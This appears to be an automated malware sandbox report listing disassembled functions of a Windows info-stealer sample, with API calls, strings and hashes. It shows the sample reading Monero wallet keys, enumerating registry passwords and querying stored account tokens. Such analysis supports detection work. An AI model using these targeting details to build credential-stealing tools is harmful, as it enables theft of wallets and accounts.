Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocChangeComputerCreateDefaultDirectoryEnumErrorFileFindFirstFreeGlobalHandleLastLogicalMemoryModuleNextNotificationPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID: t$(t$8t$Pt$Xt$ht$pt$t
API String ID: 1011861169-3196820398
Opcode ID: f6218ccaf4d4eef599d559b8fc8953ce085f1ae691c8753db090e79a41f1d4e3
Instruction ID: d25e6ce0ed3e981c2ac812ca1d6ea76c79aa51b63e9a06df6744527704f25daa
Opcode Fuzzy Hash: f6218ccaf4d4eef599d559b8fc8953ce085f1ae691c8753db090e79a41f1d4e3
Instruction Fuzzy Hash: 3E725A72814128ABCB19FB90EC92DEEB3B8AF15300F5046D9B51B72051EF713B58DEA5

Function 00B11310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B112A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B112B4
Part of subcall function 00B112A0: RtlAllocateHeap.NTDLL(00000000), ref: 00B112BB
Part of subcall function 00B112A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00B112D7
Part of subcall function 00B112A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00B112F5
Part of subcall function 00B112A0: RegCloseKey.ADVAPI32(?), ref: 00B112FF

lstrcat.KERNEL32(?,00000000), ref: 00B1134F
lstrlen.KERNEL32(?), ref: 00B1135C
lstrcat.KERNEL32(?,.keys), ref: 00B11377

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

Part of subcall function 00B28600: GetSystemTime.KERNEL32(00B30E02,0074A1D8,00B3059E,?,?,00B113F9,?,0000001A,00B30E02,00000000,?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B28626

Part of subcall function 00B2A2F0: lstrcpy.KERNEL32(00000000,?), ref: 00B2A342
Part of subcall function 00B2A2F0: lstrcat.KERNEL32(00000000), ref: 00B2A352

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00B11465

Part of subcall function 00B2A170: lstrcpy.KERNEL32(?,00000000), ref: 00B2A1B6

Part of subcall function 00B19A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B19A3C
Part of subcall function 00B19A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B19A61
Part of subcall function 00B19A10: LocalAlloc.KERNEL32(00000040,?), ref: 00B19A81
Part of subcall function 00B19A10: ReadFile.KERNEL32(000000FF,?,00000000,00B1148F,00000000), ref: 00B19AAA
Part of subcall function 00B19A10: LocalFree.KERNEL32(00B1148F), ref: 00B19AE0
Part of subcall function 00B19A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00B19AEA

DeleteFileA.KERNEL32(00000000), ref: 00B114EF

Strings

wallet_path, xrefs: 00B11330
SOFTWARE\monero-project\monero-core, xrefs: 00B11335
\Monero\wallet.keys, xrefs: 00B1138D
.keys, xrefs: 00B1136B

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateChangeCopyCreateDeleteFindFreeNotificationOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 2023266049-218353709
Opcode ID: f0fca8f200b5e2cad5d27f5438ea0972b3e8cbe12f4e75e287b5c13f2b57b085
Instruction ID: b6f4bc0042050ca4c7ed2f4674ef1e8306e130beb2cccb1afe68d668c6a3cfe2
Opcode Fuzzy Hash: f0fca8f200b5e2cad5d27f5438ea0972b3e8cbe12f4e75e287b5c13f2b57b085
Instruction Fuzzy Hash: 805123B1D5012997CB15FB60EC96AED73BC9F54300F4045E8B60E72192EE706B89CFA6

Function 00B17610 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B17310: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00B1737A
Part of subcall function 00B17310: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00B173F1
Part of subcall function 00B17310: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00B1744D
Part of subcall function 00B17310: GetProcessHeap.KERNEL32(00000000,?), ref: 00B17492
Part of subcall function 00B17310: HeapFree.KERNEL32(00000000), ref: 00B17499

lstrcat.KERNEL32(35475020,00B317A0), ref: 00B17646
lstrcat.KERNEL32(35475020,00000000), ref: 00B17688
lstrcat.KERNEL32(35475020, : ), ref: 00B1769A
lstrcat.KERNEL32(35475020,00000000), ref: 00B176CF
lstrcat.KERNEL32(35475020,00B317A8), ref: 00B176E0
lstrcat.KERNEL32(35475020,00000000), ref: 00B17713
lstrcat.KERNEL32(35475020,00B317AC), ref: 00B1772D
task.LIBCPMTD ref: 00B1773B

Strings

: , xrefs: 00B1768E

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 6b21f3428ecdbe9b4c7f7c71c02920e65d3e84a4f096a91ec05e9a0607aa0664
Instruction ID: 66b005a90f63158118087c4e3a9b27d118376c527c13f39667664d77065f4834
Opcode Fuzzy Hash: 6b21f3428ecdbe9b4c7f7c71c02920e65d3e84a4f096a91ec05e9a0607aa0664
Instruction Fuzzy Hash: B3313076910209EBCB08EBA4EC96DEF77B9EB48701F548458F102B7351DE34A996CB70

Function 00B27BA0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0074E038,00000000,?,00B30DFC,00000000,?,00000000), ref: 00B27BD0
RtlAllocateHeap.NTDLL(00000000), ref: 00B27BD7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00B27BF8
__aulldiv.LIBCMT ref: 00B27C12
__aulldiv.LIBCMT ref: 00B27C20
wsprintfA.USER32 ref: 00B27C4C

Strings

@, xrefs: 00B27BED
t, xrefs: 00B27C3B, 00B27C3E
%d MB, xrefs: 00B27C43

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: t$%d MB$@
API String ID: 2774356765-3010914396
Opcode ID: 5eddd04fb4658f49b48293596fb8d2c4e6d0345b2a6755b9704b59b82b95dd14
Instruction ID: a5b98d21afb2c96368dafe3834e492484b8a842a0045e5096f87b4431bfb7e46
Opcode Fuzzy Hash: 5eddd04fb4658f49b48293596fb8d2c4e6d0345b2a6755b9704b59b82b95dd14
Instruction Fuzzy Hash: F72130B1D44318ABDB00DFD8DC45FAEB7B9FB44B14F104549F619BB280D77859008BA9

Function 00B26FA0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00B26FE2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B2701F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B270A3
RtlAllocateHeap.NTDLL(00000000), ref: 00B270AA
wsprintfA.USER32 ref: 00B270E0

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Strings

:, xrefs: 00B26FFC
C, xrefs: 00B26FEC
\, xrefs: 00B27000

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: a303bc2696a72a515284227ed5b77054733dce688d5ed2ed8b561057cb2623e2
Instruction ID: d801cc0042d508aa667780f8f5dde8fe5e5771003ecec88e5f60c73690392abc
Opcode Fuzzy Hash: a303bc2696a72a515284227ed5b77054733dce688d5ed2ed8b561057cb2623e2
Instruction Fuzzy Hash: 9441B4B1D04358DBDB10DF94EC85BEEBBB8AF08711F104499F509B7280DB746A44CBA5

Function 00B17310 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00B1737A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00B173F1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00B1744D
GetProcessHeap.KERNEL32(00000000,?), ref: 00B17492
HeapFree.KERNEL32(00000000), ref: 00B17499
task.LIBCPMTD ref: 00B17595

Strings

Password, xrefs: 00B17441

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 1202136240152b87deb19ebd7b13842925517a98c720f0ae1fc0d6e5de20cad1
Instruction ID: 4980f0b2e0ce86bb1a5b719afede5a10b56f8879ba86fbfc85e26a5d6e78ea3f
Opcode Fuzzy Hash: 1202136240152b87deb19ebd7b13842925517a98c720f0ae1fc0d6e5de20cad1
Instruction Fuzzy Hash: 57611AB58442689BDB24DB50CC55BD9B7F9BF58300F4081E9E649A7241DFB0ABC9CFA0

Function 00B1B8E0 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A2F0: lstrcpy.KERNEL32(00000000,?), ref: 00B2A342
Part of subcall function 00B2A2F0: lstrcat.KERNEL32(00000000), ref: 00B2A352

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

Part of subcall function 00B19E60: LocalAlloc.KERNEL32(00000040,?), ref: 00B19EFE

lstrlen.KERNEL32(00000000), ref: 00B1BADD

Part of subcall function 00B288D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B288F2

StrStrA.SHLWAPI(00000000,AccountId), ref: 00B1BB0B
lstrlen.KERNEL32(00000000), ref: 00B1BBE3
lstrlen.KERNEL32(00000000), ref: 00B1BBF7

Strings

AccountTokens, xrefs: 00B1B9A9
SELECT service, encrypted_token FROM token_service, xrefs: 00B1BA4B
AccountId, xrefs: 00B1BB02
AccountTokens, xrefs: 00B1B91A

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3171688271-1079375795
Opcode ID: bf7725fa43ea959e0dcddd8b7ee75db86592cefb8ee8dcbaf30cc8f7b6c7b9ef
Instruction ID: 19cc37bc455ea8f1b933b21a6dcaa52fad6e88094aa9911f15f67f921c38f15e
Opcode Fuzzy Hash: bf7725fa43ea959e0dcddd8b7ee75db86592cefb8ee8dcbaf30cc8f7b6c7b9ef
Instruction Fuzzy Hash: B4A123719102189BCB14FBA0EC96EEE73B8AF55301F504598F50BB2191EF746A58CB62

Function 00B24260 Relevance: 12.1, APIs: 7, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0074E260), ref: 00B242BB

Part of subcall function 00B28880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B288AB

lstrcat.KERNEL32(?,00000000), ref: 00B242E1
lstrcat.KERNEL32(?,?), ref: 00B24300
lstrcat.KERNEL32(?,?), ref: 00B24314
lstrcat.KERNEL32(?,0073B5A0), ref: 00B24327
lstrcat.KERNEL32(?,?), ref: 00B2433B
lstrcat.KERNEL32(?,0074D710), ref: 00B2434F

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B28830: GetFileAttributesA.KERNEL32(00000000,?,00B11B94,?,?,00B3554C,?,?,00B30E07), ref: 00B2883F

Part of subcall function 00B24050: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00B24060
Part of subcall function 00B24050: RtlAllocateHeap.NTDLL(00000000), ref: 00B24067
Part of subcall function 00B24050: wsprintfA.USER32 ref: 00B24086
Part of subcall function 00B24050: FindFirstFileA.KERNEL32(?,?), ref: 00B2409D

Strings

`t, xrefs: 00B242AD

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
